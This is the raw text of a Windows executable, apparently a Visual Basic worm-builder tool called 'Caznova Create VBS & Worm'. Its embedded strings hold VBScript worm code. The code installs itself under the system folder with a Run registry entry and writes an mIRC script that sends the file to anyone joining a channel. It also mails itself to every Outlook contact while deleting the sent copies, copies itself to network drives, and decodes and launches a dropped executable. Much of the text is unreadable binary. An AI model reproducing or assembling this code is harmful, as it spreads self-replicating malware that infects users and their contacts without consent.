MZ@ !L!This program cannot be run in DOS mode. $sisisildsiRichsiPELo> p @z(( H.textkp `.data\ @.rsrc@@|9MSVBVM60.DLLfߥff}fWfWfXfwf X fXMfOTfffWf"f fE f%@%0@% @%,@%(@%@%@%4@%@@%<@%@%$@% @%@%@%@%8@hd)@0`@yePIKĀ:C:\VCreateVBSWormreCaznova Create VBS & Worm1!o٣vFPg^w%jKf:O3f `ӓ! Form1 Caznova [Create VBS] & [Worm]B# lt   ( @ ̲wwwfffwwwffffff̲wwwfff̤̆MMMMMMMMMMMMMMM̤̤̤̤fffffffffffffffffffffffffffffffffffffffffffffffffffffffff̤fffffffffffffffffffff̤f3f3f3f3f3̤f3f3f3̤f3f3fffffff333fff3̤f3f3f3f3fffffff333fff3̤f3f3f3̤f3f3f3f3f3f3f3f3f3f3̤f3f3f3f3f3f3f3f3f3f3f3f3̤f3f3f3f3f3f3̤f3f3f3f3f3f3f3f3f3f3̤f3f3f3f3f3f3f3f3̤f3f3f3f3f3f3f3f3f3f3̤f3f3f3f3f3f3̤f3f3f3f3f3f3f3f3f3f3f3f3̤f3f3f3̤f3f3ʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦf3̤f3f3f3f3ʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦf3̤̤̆$Form15<YFText8x- Function Mircs() PON22B25 = Proger.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir") If CreateOb.fileexists("c:\mirc\mirc.ini") Then AP8653S1 = "c:\mirc" ElseIf CreateOb.fileexists("c:\mirc32\mirc.ini") Then AP8653S1 = "c:\mirc32" ElseIf CreateOb.fileexists(PON22B25 & "\mirc\mirc.ini") Then AP8653S1 = PON22B25 & "\mirc" ElseIf CreateOb.fileexists(PON22B25 & "\mirc32\mirc.ini") Then AP8653S1 = PON22B25 & "\mirc" Else AP8653S1 = "" End If If AP8653S1 <> "" Then Dim T2L8I87U Set IRcs = CreateOb.CreateTextFile(AP8653S1&"\script.ini", True) T2L8I87U = "[script]" & vbCrLf & "n0=on 1:JOIN:#:{" T2L8I87U = T2L8I87U & vbCrLf & "n1= if ( $nick == $me ) { halt }" T2L8I87U = T2L8I87U & vbCrLf & "n2= ." & Chr(100) & Chr(99) & Chr(99) & " send $nick " T2L8I87U = T2L8I87U & NL7T5895 T2L8I87U = T2L8I87U & vbCrLf & "n3=}" IRcs.Write T2L8I87U IRcs.Close End IF End Function *Frame1Help!W !Label7x "Text3_ "Text1xx Com1MSComDlg.CommonDialog-LB L!C4OO< A9: Pro1MSComctlLib.ProgressBar-LB P!C4rBͫonll)Frame2Worm8_  3!Check3Worm : Networkx6Check2Worm : IRC (Mirc)x'/txtWormo Caznova 7 Text78 Client : Download8 Text68( Webmaster : Matrix4 Text58 MatrixReloaded1 Text4H caznova.vbs; Check1Worm : Mail (OutLoOk)xX1Label12 Worm Name :x>Label11Registry Start up name :x86Label10Back Up VBS to :xH7+Label9Body :xW.Label8 Subject :x(W"Text2_ 0Label6Exit g #Line5iiil#Line4xl#Line3iii.Label5 Drop to :x4Label4Create VBS to :x2Label2www.caznova.tkxh#Line2xXX#Line1xhh6Label3 Create VBSx/Label1... xgH@G@Po٣vFPg(@LVB5!*~ )@.)@8,@@x|VBSCreate VBSCreateVBSWormHD@z@z@\ @@*\AC:\VB\Create VBS\Crea1.1\Project1.vbp)@H8H%;<+/I<+/I90~uM̭n{C|` JBү1@UהF%Kv~p,3}4Gݡw` W 28C4C820-401A-101B-A3C9-08002B2F49FBCOMDLG32.OCXMSComDlg.CommonDialogCommonDialog8(PH":5j(6(!:5j(6( :5j(6(xY`WDߎo&EWp9%?@F~2[jYLԒB]/<14M +SW0 Pu\l9368265E-85FE-11d1-8BE3-0000F8754DA1mscomctl.ocxMSComctlLib.ProgressBarProgressBarHD@Z@D@@1@i/@XE@82@@2@<2@@2@hl6@@#_H@܂@HH@8H@XH@lH@tH@H@H@xE@H@ I@HE@DI@4I@G@tI@|I@@P/@V@\@b@h@I@n@J@ J@J@$J@0J@@de@G@@F@>@deHG@@F@?@dePG@@ F@`?@eXG@@F@?@de`G@@E@ @@TehG@@E@@@TepG@@xG@@@eG@@,F@!A@teG@!@E@A@TeG@C@C@oB@B@B@B@B@B@B@B@#C@7C@KC@_C@sC@C@C@C@C@C@C@D@'D@;D@@2@P/@@@@h2@P/@@@@B@B@2@P/@@@@|B@2@P/@@@@hB@2@P/@@@@C@3@P/@@@@C@03@P/@@@@ D@X3@P/@@@@ D@3@P/@@@@4D@3@P/@@@@C@0C@3@P/@@@@DC@XC@3@P/@@@@ 4@P/@@@@H4@P/@@@@p4@P/@@@@4@P/@@@@4@P/@@@@4@P/@@@@5@P/@@@@85@P/@@@@`5@P/@@@@5@P/@@@@B@5@P/@@@@B@5@P/@@@@C@C@6@P/@@@@C@C@(6@P/@@@@B@B@P6@P/@@@@x6@P/@@@@lC@Pf=3Z@h@øLf=30[@h@øf=3c@h@øf=3\Z@h@øf=3$Z@h@øHf=3b@h@øHf=3[@h@øf=3d@h@øf=3$g@h@øhf=3x@h@øhf=3[@h@ølf=3Y@h@ølf=3\\@h@øf=3T`@h@øf=3L_@h@øf=3la@h@øf=3`@h@øf=3Lc@h@øf=3e@h@øTf=3D^@h@øXf=3]@h@ø\f=3<]@h@ø`f=3^@h@ødf=3_@h@$@a@@3#L M.zV D@8E@ P/@H@0E@D@G@H@Form1CreateVBSWorm^w%jKfc3z@+0ޭo٣vFPgqx6NۮoN3f `ӓText8.=h8+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLBVBE@ E@E@Ȃ@l_N3f `ӓLabel1N3f `ӓCheck2Check1Text4Text5Text6Text7txtWormLabel3Label6Label7N3f `ӓFrame1Label12Label10Label11Label8~2[jYLԒB]Pro1/َjIGL BC:\WINDOWS\SYSTEM\MSCOMCTL.ocaMSComctlLibF@F@ G@̂@l_Label9Label4Label5Frame2Label2Text2Text3:O3f `ӓFormCheck3Text1 shell32.dllShellExecuteAG@G@Ђ@؂@ thG@P@lightNotice4N3f `ӓ#=h8+3q"=h8+3q(H@8H@yO3f `ӓ\caznova.vbsN3f `ӓ:C:\windows\system\caznova.exe(H@܂@4Excute File (*.EXE) |*.EXEN3f `ӓOpen*Http://www.caznova.tk:Caznova [Create VBS] - [Read]<Caznova [Create VBS] - [Write]000102030405060708090A0B0C0D0E0F4Set Proger = createobject(wscript.shell)8Set CreateOb = createobject(4scripting.filesystemobject`Set cpy=CreateOb.GetFile(WScript.ScriptFullName) Lcpy.Copy(CreateOb.GetSpecialFolder(1)&r=(fHKLM\Software\Microsoft\Windows\CurrentVersion\Run\`Proger.RegWrite r,(CreateOb.GetSpecialFolder(1)&PNL7T5895 = CreateOb.GetSpecialFolder(1)&Files = *FilesW = DeCom(Files)JSet Writes = CreateOb.createtextfile( ,true)&Writes.write FilesWWrites.closeProger.run , 1, false*Function DeCom(Texts)<For i = 1 To Len(Texts) Step 2(DeCom = DeCom & Chr(&H & "Mid(Texts, i, 2))NextEnd FunctionIf 0 <> 1 thenOutLooks End If Mircs&Function OutLooks()0Set emails=CreateObject( 7H- Worm&Outlook.Application>Set emailr=emails.GetNameSpace(MAPIBFor Each C In emailr.AddressListsFIf C.AddressEntries.Count <> 0 ThenBFor D=1 To C.AddressEntries.Count<Set emaill=C.AddressEntries(D)Networks+1'I- Email?>Set emaili=emails.CreateItem(0)0emaili.To=emaill.Addressemaili.Subject=emaili.Body=hemaili.Attachments.Add(CreateOb.GetSpecialFolder(1)&:emaili.DeleteAfterSubmit=True If emaili.To <> Thenemaili.Send&Function Networks()2Set Netr = CreateObject( WScript.NetworkBSet Netl = Netr.EnumNetworkDrives.If Netl.Count <> 0 Then6For i = 0 To Netl.Count - 12If InStr( Netl.Item( i),  ) <> 0 ThenCreateOb.CopyFile WScript.ScriptFullName, CreateOb.BuildPath( Netl.Item( i),  )' :Tool : Caznova Create VBS 1.1(On Error Resume NextN3f `ӓSuccess!Success(Caznova [Create VBS]VBA6.DLL:5H-"9H EXE 5H0A%@G VBS00 Save D%L VBS D'I5H?Save VBS to? ErrorL@!7H- @4 VBS C+I@  D%L EXE D'I5H?Droped File To?TopLeft8C+I Back D%L VBS D'IC 7H-?> 7H- StartUp @!7H-@4 @#7H-? 7H-9I*H?Z@@b@Hb@Lb@Pb@`Y@`Y@////P/@$  P/@$  _P/@$ P/@\@Y@Y@Y@!xx x P/@$ x!xx xP/@$ x!pxx d x!pxx l xP/@0$ x!lxx d x!lxx l xP/@0$ x!Hxx d x!Hxx l xXP/@0$ xY@Y@! xx \x! o(lM8@lMH@:hNXX 6X(P/@TH$ xX(!$xx \x!$o(lM8@lMH@:hNXX 6X(fP/@TH$ xX(!(xx \x!(o(lM8@lMH@:h~NXX 6X(P/@TH$ xX(!xx \x!o(lM8@lMH@:hNXX 6X(P/@TH$ xX(!Dxx \x!Do(lM8@lMH@:hwNXX 6X(P/@TH$ xX(!xx \x!o(lM8@lMH@:hNXX 6X(P/@TH$ xX(! xx \x! o(lM8@lMH@:hvNXX 6X(P/@TH$ xX(!xx \x!o(lM8@lMH@:hzNXX 6X(P/@TH$ xX(t!Dxx lt0/txT'':DxN44:dyNTT t6T4P/@X$ $txT4HD@Y@a@Caznova Create VBS & WormE@E@@E@F@@E@,F@@E@F@@G@F@@E@xG@@textsXYObj:l %!tXX,X!tXXX!tXXaH`#D! @@ /D)X@5HP/@<`$ DX@Ht!xx lt0/txT'':DxN44:d{NTT t6T4P/@X$ $txT4tx$ x Plt*#p*#l!Dhh 2tpl)xh!xx xP/@`$ tplxht! X #`\4l\#hd4ld l4llp4lplt^qX`:(h`Ph h35hl`:)h``P *DhX +X@`/6hXtfPJ`4:,"h hX:x-@"0 0 :.@6 hX@0 :/"h hX:x0@"0 0 :.06 hX@0 12*#3*FX"h h@:0!( >F " :x.:2:4" |:l5\T!$XX >TFD4"$ $:.:2:6" :tl!(pp >lF\L"< <,:. :2:7" :!( >Ftd"T TD4/)Xp6JtdTXh@0 |\D4$t\L<, :8"h hX4@"0 0 6hX@0:9::"h hX! >F@0"  :x;6 hX@0 :<=2*#>*FX"h h@! >F0 " :?/6Xh@0 :@:A:B"h hX:xC@"0 0 :D:E6 hX@0 F2*#G*Fh/H2*#I*#2*#TJ*Fh$2TH2*#K*#2*#TJ*Fh2TL2*#M*FX"h h@:N0"  :x.:2:O" :lP"| |\:.D:24:Q$:2:R:2:S:2:T:2t:U\:2L:V<:2,:W " !  >F" t:2d:XT"D DtT!XX >TFdT"D D4:$2:Y" :l!(pp >lF" t:d.T:D24:$Z:2:[" " :\t:d2T:D]4:$2:J:2:F:2:Jt:d2T:DF4:$2:G:2/)Xp6tT4tT4tdTDtdTD4tT4Xh@0 |\D4$t\L<, ! >FhH2*#^*#2*#TJ*#l2*Fh2Tl_2*#`*FX"h h@:a0"  :x.:2:b:l2:c:2:d|:2\:eD"4 4$:" :f:2:g"t t\!( >FL<", , :h:2:J:2:F:2t:Jd:2T:$GD:2t/6LtdTDXh@0 |\D4$t\L<, !D l]/! h i jkl*#l*FXh@:l0 :xmn 26Xh@0 op @n 0n 4n  n n n n n n n n n !, qk[n !| qkn ! qk$n !, qkn ! qkn !| qk(n =j%!x,'0'@:xrNXX:sNhh t6hX@0u$ T P/@x`P$4x`@0 \TTlXphX@0 |\D4$t\L<, tdTDtdTD4tT4tT4tT4̞zD{R{SVxd{x{{{{`:;=dbdMSVBVM60.DLLMethCallEngineEVENT_SINK_AddRefDllFunctionCallEVENT_SINK_ReleaseEVENT_SINK_QueryInterface__vbaExceptHandlero>fX@(o>fpo>fo>f1uo>f o>fo>f   4VS_VERSION_INFODVarFileInfo$Translation lStringFileInfoH040904B0<CompanyNameApache Havoc8ProductNameCreate VBS, FileVersion1.010 ProductVersion1.01(InternalNameVBS8OriginalFilenameVBS.exe  1u( @ ̲wwwfffwwwffffff̲wwwfff̤̆MMMMMMMMMMMMMMM̤̤̤̤fffffffffffffffffffffffffffffffffffffffffffffffffffffffff̤fffffffffffffffffffff̤f3f3f3f3f3̤f3f3f3̤f3f3fffffff333fff3̤f3f3f3f3fffffff333fff3̤f3f3f3̤f3f3f3f3f3f3f3f3f3f3̤f3f3f3f3f3f3f3f3f3f3f3f3̤f3f3f3f3f3f3̤f3f3f3f3f3f3f3f3f3f3̤f3f3f3f3f3f3f3f3̤f3f3f3f3f3f3f3f3f3f3̤f3f3f3f3f3f3̤f3f3f3f3f3f3f3f3f3f3f3f3̤f3f3f3̤f3f3ʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦf3̤f3f3f3f3ʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦʦf3̤̤̆